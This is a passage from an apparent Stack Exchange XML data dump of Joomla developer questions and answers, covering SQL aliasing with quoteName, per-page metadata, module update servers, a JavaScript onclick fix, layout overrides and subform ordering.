$db-&amp;gt;getTableColumns('#__game');&#xA;    if(isset($columns['access']))&#xA;    {&#xA;        $groups = implode(',', $user-&amp;gt;getAuthorisedViewLevels());&#xA;        $query-&amp;gt;where('a.access IN (' . $groups . ')');&#xA;    }&#xA;}&#xA;$db-&amp;gt;setQuery((string)$query);&#xA;$items = $db-&amp;gt;loadObjectList();&#xA;echo '&amp;lt;pre&amp;gt;' . var_export($items,true).'&amp;lt;/pre&amp;gt;';&#xA;$options = array();&#xA;if ($items)&#xA;{&#xA;    $options[] = JHtml::_('select.option', '', 'Select an option');&#xA;    foreach($items as $item)&#xA;    {&#xA;        //$options[] = JHtml::_('select.option', $item-&amp;gt;id, $item-&amp;gt;home_name . ' vs ' . $item-&amp;gt;guest_name);&#xA;    }&#xA;}&#xA;return $options;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It creates just one &quot;name&quot; inside the return object (sure, its the same key for home and guest) and the guest overwrites the home value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I have to write for the join to get the names for home and guest being placed in different object keys?&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="12352" LastEditDate="2020-05-12T00:01:42.973" LastActivityDate="2020-05-14T20:56:52.820" Title="How to apply aliases in SELECT clause when two columns from JOINed tables have the same name?" Tags="|mysql|jdatabase|sql|alias|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28038" PostTypeId="2" ParentId="28036" CreationDate="2020-05-11T07:58:42.663" Score="1" Body="&lt;p&gt;Official support for Joomla 2.5 ended in 2014 and many extension developers have removed Joomla 2.5 versions of their extensions and templates from their websites so they can concentrate on supporting current versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If RocketTheme are unable to help, your best course of action may be to run a backup, disable third party extensions if needed, run the &quot;mini-migration&quot; from Joomla 2.5 to Joomla 3.x and then upgrade all third party extensions to the latest versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible other Joomla users may have the versions you are seeking but sourcing these from an untrusted source could introduce malware to your website.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2020-05-11T07:58:42.663" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28039" PostTypeId="2" ParentId="28037" CreationDate="2020-05-11T08:55:21.370" Score="1" Body="&lt;p&gt;Got it now, i had to set the AS in the SELECT as arrays:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $db = JFactory::getDBO();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('a.*');&#xA;    $query-&amp;gt;select($db-&amp;gt;quoteName(array('b.name'),array('home_name')));&#xA;    $query-&amp;gt;select($db-&amp;gt;quoteName(array('c.name'),array('guest_name')));&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2020-05-11T08:55:21.370" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28040" PostTypeId="2" ParentId="28037" CreationDate="2020-05-11T23:33:12.477" Score="2" Body="&lt;p&gt;Further explanation of the issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you discovered, when two columns in the SELECT clause of a query share the same column name (or alias), the latter value overwrites the former in the result set.  To overcome this, differentiate the two repeated column names by assigning a unique alias.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla has a ready-made technique for assigning (or not assigning) aliases within the &lt;code&gt;quoteName()&lt;/code&gt; helper method.  Simply feed an array of column names as the first parameter and an array of corresponding aliases (or null) as the second parameter.  Here is &lt;a href=&quot;https://joomla.stackexchange.com/a/24186/12352&quot;&gt;a pre-existing demonstration&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code Review:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You are only using the id column and the two team names in the result set, you do not need to use the greedy &lt;code&gt;*&lt;/code&gt; to collect all of the column values in the &lt;code&gt;#__game&lt;/code&gt; table.  Once the number of returned columns is reduced, it becomes more attractive to use a single &lt;code&gt;select()&lt;/code&gt; call containing a single &lt;code&gt;quoteName()&lt;/code&gt; call.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;qn()&lt;/code&gt; is an alias for the &lt;code&gt;quoteName()&lt;/code&gt; method.  Using these can help to reduce the overall script width/bloat versus the full-word spelling of the method.&lt;/li&gt;&#xA;&lt;li&gt;Helper method chaining will also help to reduce the overall size of your query.  This means you won't have to keep retyping &lt;code&gt;$query&lt;/code&gt; as you build the sql string.&lt;/li&gt;&#xA;&lt;li&gt;The relationship between the game table's id and the team table's home/guest ids is absolutely essential (one cannot exist meaningfully without the other). In other words, there is a FOREIGN KEY relationship and so it is more appropriate to use a JOIN (INNER JOIN) instead of a LEFT JOIN.  A LEFT JOIN is more forgiving as it will allow the the query to return a missing id to attach to a missing table row and present NULL values.  Based on the title of your post (before I edited it), it appeared that you were uncertain of the correct join to use.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ASC&lt;/code&gt; is the default sorting direction, so you may remove these letters and enjoy the same functionality. On the other hand, if you prefer this declarative style, there is no harm in keeping it as is.&lt;/li&gt;&#xA;&lt;li&gt;I don't see the full schema of your game table, but I get the impression from the &lt;code&gt;isset()&lt;/code&gt; call that you are accommodating the possibility that the table may or may not have a column called.  For this reason, it seems like a sensible use of &lt;code&gt;getTableColumns()&lt;/code&gt;.  However, if the column is always present in the table, then I would remove the access column check in php and just add the &lt;code&gt;where()&lt;/code&gt; clause to the query when the user's authorise() check failed.&lt;/li&gt;&#xA;&lt;li&gt;There is no need to cast the &lt;code&gt;$query&lt;/code&gt; as string type data.  This was demonstrated often in earlier versions of Joomla, but is simply unnecessary.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;loadObjectList()&lt;/code&gt; produces an empty array when there are no rows in the result set, so assuming you have no syntax failures, you can omit the condition before the &lt;code&gt;foreach()&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Instead of declaring an empty options array, then pushing the &quot;Select an option&quot; option into it, you can do this in one step by declaring the array with the first element inside.  Unconditionally loading the static default option will also ensure that the select always has an option (making value markup) -- otherwise, you could potentially have a &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; tag with no &quot;guts&quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Implemented suggestions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$query = $db&#xA;    -&amp;gt;getQuery(true)&#xA;    -&amp;gt;select($db-&amp;gt;qn(['a.id', 'b.name', 'c.name'], [null, 'home_name', 'guest_name']))&#xA;    -&amp;gt;from($db-&amp;gt;qn('#__game', 'a'))&#xA;    -&amp;gt;innerJoin($db-&amp;gt;qn('#__team', 'b') . ' ON ' . $db-&amp;gt;qn('a.team_home') . ' = ' . $db-&amp;gt;qn('b.id'))&#xA;    -&amp;gt;innerJoin($db-&amp;gt;qn('#__team', 'c') . ' ON ' . $db-&amp;gt;qn('a.team_guest') . ' = ' . $db-&amp;gt;qn('c.id'))&#xA;    -&amp;gt;where($db-&amp;gt;qn('a.published') . ' = 1')&#xA;    -&amp;gt;order('a.kickoff');&#xA;&#xA;$user = JFactory::getUser();&#xA;if (!$user-&amp;gt;authorise('core.options', 'com_component'))&#xA;{&#xA;    $columns = $db-&amp;gt;getTableColumns('#__game');&#xA;    if(isset($columns['access']))&#xA;    {&#xA;        $groups = implode(',', $user-&amp;gt;getAuthorisedViewLevels());&#xA;        $query-&amp;gt;where('a.access IN (' . $groups . ')');&#xA;    }&#xA;}&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$options = [JHtml::_('select.option', '', 'Select an option')];&#xA;foreach ($db-&amp;gt;loadObjectList() as $item)&#xA;{&#xA;    $options[] = JHtml::_('select.option', $item-&amp;gt;id, $item-&amp;gt;home_name . ' vs ' . $item-&amp;gt;guest_name);&#xA;}&#xA;return $options;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2020-05-14T20:56:52.820" LastActivityDate="2020-05-14T20:56:52.820" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28041" PostTypeId="1" AcceptedAnswerId="28048" CreationDate="2020-05-12T02:58:47.207" Score="0" ViewCount="35" Body="&lt;p&gt;I know that there is one place where we can actually maintain our keyword in Joomla Global Configuration-&gt; Metadata Settings -&gt; Site Meta Keywords, but is more like a place to dump all keyword of our website. Is it possible for us to maintain our keyword by each page? Will there be any effect on SEO?&lt;/p&gt;&#xA;" OwnerUserId="14095" LastActivityDate="2020-05-13T03:37:57.750" Title="Is it possible to maintain meta keyword for each page?" Tags="|joomla-3.x|global-configuration|metadata|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28042" PostTypeId="1" CreationDate="2020-05-12T07:04:34.247" Score="0" ViewCount="45" Body="&lt;p&gt;I have a module which I want to auto update (as per the JED requirements).  I've set up the manifest file in the same way as my other modules (which work for auto update) but I can't get this module to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The manifest file has the lines (at the bottom)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/config&amp;gt; &#xA;&amp;lt;updateservers&amp;gt;&#xA;    &amp;lt;server type=&quot;extension&quot; enabled=&quot;1&quot; element=&quot;mod_page_display&quot; name=&quot;module name&quot;&amp;gt;https://update.com/updates/module.xml&amp;lt;/server&amp;gt;&#xA;&amp;lt;/updateservers&amp;gt;    &#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure that the manifest is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I manually install the module everything is fine.  However the auto update system doesn't pick it up and look for changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked the #__update_sites table and the module isn't in the table so it's not being picked up on install and set up for auto updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what debugging I can do now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;checked the module can be installed manually &#xA;checked the manifest file against a work manifest to check for errors&#xA;checked the update_sites table to see if it's included&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone point me at resources or suggest other things I can try?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read&#xA;&lt;a href=&quot;https://docs.joomla.org/Deploying_an_Update_Server&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Deploying_an_Update_Server&lt;/a&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Adding_Auto_Update&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_simple_module/Adding_Auto_Update&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and a bunch of other pages.  But as far as I can tell I've implemented the manifest file correctly and so it the module should show up in the update_ sites table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the update XLM file is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;updates&amp;gt;&#xA;    &amp;lt;update&amp;gt;&#xA;        &amp;lt;name&amp;gt;Page display&amp;lt;/name&amp;gt;&#xA;        &amp;lt;description&amp;gt;Page display&amp;lt;/description&amp;gt;&#xA;        &amp;lt;element&amp;gt;mod_page_display&amp;lt;/element&amp;gt;&#xA;        &amp;lt;type&amp;gt;module&amp;lt;/type&amp;gt;&#xA;        &amp;lt;client&amp;gt;0&amp;lt;/client&amp;gt; &#xA;        &amp;lt;version&amp;gt;1.1.3&amp;lt;/version&amp;gt;&#xA;        &amp;lt;downloads&amp;gt;&#xA;            &amp;lt;downloadurl type=&quot;full&quot; format=&quot;zip&quot;&amp;gt;https://update.com/update/?dummy.zip&amp;lt;/downloadurl&amp;gt;&#xA;        &amp;lt;/downloads&amp;gt;&#xA;        &amp;lt;tags&amp;gt;&#xA;        &amp;lt;tag&amp;gt;stable&amp;lt;/tag&amp;gt;&#xA;        &amp;lt;/tags&amp;gt;&#xA;        &amp;lt;maintainer&amp;gt;Websites4Christians&amp;lt;/maintainer&amp;gt;&#xA;        &amp;lt;maintainerurl&amp;gt;https://update.com&amp;lt;/maintainerurl&amp;gt;&#xA;        &amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;3.*&quot;/&amp;gt;&#xA;    &amp;lt;/update&amp;gt;&#xA;&amp;lt;/updates&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12248" LastEditorUserId="12248" LastEditDate="2020-05-12T07:40:31.993" LastActivityDate="2020-05-12T07:40:31.993" Title="I can't get my module to register for updates" Tags="|joomla-3.x|extension-update|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="28043" PostTypeId="2" ParentId="13967" CreationDate="2020-05-12T07:46:59.300" Score="0" Body="&lt;p&gt;Just an FYI for anyone else who may be running into problems when deploying an update server for a template, the &lt;code&gt;&amp;lt;client&amp;gt;&lt;/code&gt; must be set to &lt;code&gt;site&lt;/code&gt; or &lt;code&gt;administrator&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do &lt;strong&gt;NOT&lt;/strong&gt; use &lt;code&gt;0&lt;/code&gt; or &lt;code&gt;1&lt;/code&gt; for the &lt;code&gt;&amp;lt;client&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2020-05-12T07:46:59.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28044" PostTypeId="2" ParentId="27925" CreationDate="2020-05-12T09:42:22.837" Score="0" Body="&lt;p&gt;For each article the fields values can vary depending on the inputs you gave and just &lt;code&gt;$jcfield&lt;/code&gt; data is enough for you to get the desired custom field. The data you receive will be in array format based on number of custom fields you have. Suppose you have several custom fields and you want to access data of a particular custom field to be used in a template then you iterate all the likely fields and get data according to the id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($jcFields as $field){&#xA;    if($field-&amp;gt;id == 5){&#xA;        echo $field-&amp;gt;value;&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8486" LastActivityDate="2020-05-12T09:42:22.837" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28046" PostTypeId="2" ParentId="28041" CreationDate="2020-05-12T14:02:22.890" Score="0" Body="&lt;p&gt;Effect would be normal SEO effect for metadata on a web page, nothing special above that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every menu item has a metadata tab, and every content item has a place for metadata on the Publishing tab. You can use those for page-specific keys. IIRC, the menu item one overrides the content item one, but I'll leave testing that to you.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2020-05-12T14:02:22.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28047" PostTypeId="2" ParentId="28022" CreationDate="2020-05-12T15:07:18.090" Score="0" Body="&lt;p&gt;There's a way to do that, though I'm not sure it's any better/easier than the addIncludePath you don't want to use, depending on why you don't want to use it, for reasons I'll get into later. This way works for individual methods (you've only talked about one method, 'modal', so that's why I'm putting this out there). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, get out your gear and let's go codewalking. Line numbers here refer to latest Joomla stable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 159 of HTMLHelper.php shows the register method. This is the key to your door. That method registers any method with HTMLHelper and connects it with a key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTMLHelper::register( *key*, *method* )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this specific example the key will be 'kipengee.modal' (your modal script) and the method will be your modal method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that call, any HTMLHelper::_ call using the 'kipengee.modal' key will grab your method and run. That method (Line 99 of the same file) reads the key being sent it, looks up that key in a table to find what method it's supposed to call to get it done, and calls it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The smoothest way to implement this involves writing a plugin, and issuing that register call inside the plugin's onAfterInitialise method, which will get called early enough in the process to make it available thoughout the templating system. If you do this, then make your modal method a static member of that plugin and you're home and dry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're wanting to make this part of a component, so every output of the component has access to it, you make your method a static member of your component and register it when the component is initialized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're wanting it to be a part of your template overrides, I &lt;em&gt;think&lt;/em&gt; you can wait to register it until the template's index.php file, though there I'm on less secure ground. You &lt;em&gt;might&lt;/em&gt; need to go the plugin route for this, but it's worth testing to find out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that brings me to why you may not find this better than addIncludePath. Writing a plugin is more work than simply using addIncludePath. And it moves away from having your own class to simply attaching the methods you want to use as a static member of whatever you're using to register the method. You decide which is better for your case; I'm not qualified to make that call for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all based on registering a single method, it'll get tedious as the number of methods grows. If your goal is to create an entire library of methods, such as the Bootstrap ecology, you might want to take a peek at how the Regularlabs library is installed in Joomla and emulate that.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2020-05-12T15:07:18.090" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28048" PostTypeId="2" ParentId="28041" CreationDate="2020-05-13T03:37:57.750" Score="1" Body="&lt;p&gt;Yes you can. Joomla! provides a mechanism that starts from the general to the particular, the metadata management is a clear example, let me explain you how this works:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The small modular part here is the article. If you go to each one, inside you have this option in the tab called &lt;strong&gt;&quot;Publishing&quot;&lt;/strong&gt;, this replace the data in the menu item.&lt;/li&gt;&#xA;&lt;li&gt;If you go to your menu items, inside you can see a tab called &lt;strong&gt;&quot;Metadata&quot;&lt;/strong&gt;, from here you can replace the data in the &lt;strong&gt;Global Configuration&lt;/strong&gt;. &lt;/li&gt;&#xA;&lt;li&gt;If you don't add anything for articles or menu items, then the data in Global Configuration is the default data.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is a limit for those, this depends on the search engine. Use as a starting point something like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Meta Description: &lt;strong&gt;max 160 characters&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Meta Keywords: &lt;strong&gt;around 10 terms&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And related to whether it affects, I think yes, but for good, because you'll have a more diverse amount of data.&#xA;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2020-05-13T03:37:57.750" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28049" PostTypeId="1" AcceptedAnswerId="28050" CreationDate="2020-05-14T12:54:54.143" Score="0" ViewCount="486" Body="&lt;p&gt;A set of buttons is no longer working and I can't work out why. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is using Joomla and SP Page Builder Pro. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 3 buttons that when clicked will change the price table. However these no longer work and there's no errors in the console. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I enter the function name into the console, the script will trigger and change the table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Debugging steps:&#xA;Updated Joomla &lt;br/&gt;&#xA;Disabled non required plugins&lt;br/&gt;&#xA;Cleared cache&lt;br/&gt;&#xA;Checked code is being loaded&lt;br/&gt;&#xA;Checked for java conflicts&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="14297" LastEditorUserId="14297" LastEditDate="2020-06-01T11:48:56.503" LastActivityDate="2020-06-01T11:48:56.503" Title="Js : onclick button not triggering" Tags="|joomla-3.x|javascript|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28050" PostTypeId="2" ParentId="28049" CreationDate="2020-05-14T13:03:04.767" Score="0" Body="&lt;p&gt;The problem is that your buttons are using the &lt;code&gt;on-click&lt;/code&gt; attribute, which isn't valid. You need to use &lt;code&gt;onclick&lt;/code&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;on-click=&quot;tripleCoverDlFold1()&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onclick=&quot;tripleCoverDlFold1()&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2020-05-14T20:56:47.367" LastActivityDate="2020-05-14T20:56:47.367" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28051" PostTypeId="2" ParentId="23948" CreationDate="2020-05-14T15:25:40.610" Score="1" Body="&lt;p&gt;With that &quot;Choose a Layout&quot; option in a menu item of type &quot;Category Blog&quot; you can specify &lt;strong&gt;what article layout&lt;/strong&gt; to use &lt;strong&gt;for the individual articles from that category blog&lt;/strong&gt; when you visit them individually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add your article layout file &lt;code&gt;default_mylayout.php&lt;/code&gt; + the xml file &lt;code&gt;default_mylayout.xml&lt;/code&gt; to  the folder: &lt;code&gt;/templates/your-template/html/com_content/article/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that the article layout for the individual category blog articles should be available in that &quot;Choose a Layout&quot; dropdown selection.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2020-05-14T15:25:40.610" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28052" PostTypeId="2" ParentId="23948" CreationDate="2020-05-14T21:56:41.863" Score="0" Body="&lt;p&gt;You have a problem. From the first screenshot up there it looks like you're looking to set a layout on a menu item type &quot;Articles - Category Blog&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, that's &lt;em&gt;already&lt;/em&gt; a layout. You can't stuff two values in the layout parameter. The only thing you can really choose in that particular case is whether to use the template override for the category blog layout (template/html/com_content/article/blog.php) or the original, or one in one of the other templates (essentially selecting whether the layout will be &quot;blog&quot; or &quot;templatename:blog&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If what you're looking to do is create a new layout that's kinda/sorta the blog, you have to create it as a menu item in its own right. But you'll still run into an issue. The com_content component's category view code is hard-coded to do certain things when the layout is 'blog' that will not get done for any other layout. (Yes it was a Bad Idea to do that. It was jaw-droppingly, mind-bendingly bad, in fact. But apparently no one was about to let a silly thing like excessively tight coupling stop them from implementing it.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So again, if your goal is to create a layout using the data for the category blog layout, you either have to do a template override of that core layout or consign yourself to essentially writing -- and maintaining -- a portion of the view in your template code.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2020-05-14T21:56:41.863" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28053" PostTypeId="2" ParentId="8978" CreationDate="2020-05-14T22:06:23.957" Score="0" Body="&lt;p&gt;The two lines of code you're looking for are in the blog_item.php file at line numbers 27 and 45 in the core component, no idea what lines they will be in your override file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;27: &amp;lt;?php echo JLayoutHelper::render('joomla.content.blog_style_default_item_title', $this-&amp;gt;item); ?&amp;gt;&#xA;&#xA;45: &amp;lt;?php echo JLayoutHelper::render('joomla.content.intro_image', $this-&amp;gt;item); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you end up wanting to change the actual code, those files are in the &quot;layouts&quot; directory, and swapping the dots for directory separators will take you to the file. You can override those in your template by putting the override file in your /html directory in your template, duplicating the directory structure, e. g., html/layouts/joomla/content/intro_image.php will override the intro image layout code.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2020-05-14T22:06:23.957" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28054" PostTypeId="1" CreationDate="2020-05-14T22:24:34.393" Score="1" ViewCount="159" Body="&lt;p&gt;Wondering if anybody has ever come up with a solution to this problem; my research tells me not. A bit convoluted explanation but hopefully you can understand...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a component which has both site and administrator views. Both have &lt;code&gt;ordering&lt;/code&gt; so I can control the ordering of items returned in the list view for the frontend. Great, so &quot;sports&quot; view can list each individual &quot;sport&quot; in any order I set in the admin. Perfect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the single item &quot;sport&quot; view, data is returned to this view in the usual getItem() &lt;code&gt;return $this-&amp;gt;_item;&lt;/code&gt;. Of course, this is the entire table row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, my issue is that we need to re-order the columns on a per-item (&quot;sport&quot;) basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, the object returned by getItem() is as below. Note, &lt;code&gt;organisations&lt;/code&gt; and &lt;code&gt;teams&lt;/code&gt; are subforms of &quot;sports&quot;, so appear in separate tabs in the Joomla admin &quot;Edit&quot; view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sport Id #1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla\CMS\Object\CMSObject Object ( [_errors:protected] =&amp;gt; Array ( ) [id] =&amp;gt; [ordering] =&amp;gt; [state] =&amp;gt; [checked_out] =&amp;gt; [checked_out_time] =&amp;gt; [created_by] =&amp;gt; [modified_by] =&amp;gt; [sportname] =&amp;gt; [invented] =&amp;gt; [founders] =&amp;gt; [description] =&amp;gt; [organisations] =&amp;gt; [teams] )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is great, but for Sport ID #2, we want to return this object with the subforms in different order, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla\CMS\Object\CMSObject Object ( [_errors:protected] =&amp;gt; Array ( ) [id] =&amp;gt; [ordering] =&amp;gt; [state] =&amp;gt; [checked_out] =&amp;gt; [checked_out_time] =&amp;gt; [created_by] =&amp;gt; [modified_by] =&amp;gt; [sportname] =&amp;gt; [description] =&amp;gt; [founders] =&amp;gt; [invented] =&amp;gt; [teams] =&amp;gt; [organisations] )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have looked at adding an &quot;order&quot; integer field to each subform and then using this in the view to render the objects, but these cannot be made unique between subforms, creating room for user error in setting subforms to have the same integer value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone come across this scenario and what are my options here? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you managed to understand that, then thanks!&lt;/p&gt;&#xA;" OwnerUserId="5627" LastEditorUserId="5627" LastEditDate="2020-05-14T23:52:48.483" LastActivityDate="2020-06-16T13:20:05.200" Title="Ordering subform data" Tags="|joomla-3.x|subform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28055" PostTypeId="2" ParentId="28027" CreationDate="2020-05-15T00:00:15.787" Score="1" Body="&lt;p&gt;As an alternative, you could have opened up your template and used php's native strip_tags function which allows a list of exceptions, so...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo strip_tags($this-&amp;gt;item-&amp;gt;introtext, '&amp;lt;img&amp;gt;&amp;lt;p&amp;gt;&amp;lt;listofallowedelements&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-05-15T00:00:15.787" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28056" PostTypeId="2" ParentId="2355" CreationDate="2020-05-15T19:59:55.560" Score="0" Body="&lt;p&gt;You also can change the &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; for each article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go inside your article you can se a tab called &lt;strong&gt;&quot;Options&quot;&lt;/strong&gt;, from here at the bottom you can add a custom &lt;strong&gt;&quot;Browser Page Title&quot;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uCdlU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uCdlU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that way, you can have the article title for the content area and custom article title for the &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is useful for example when the default title is very long and a shorter one is needed or the adjustment is needed for SEO.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2020-05-15T19:59:55.560" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
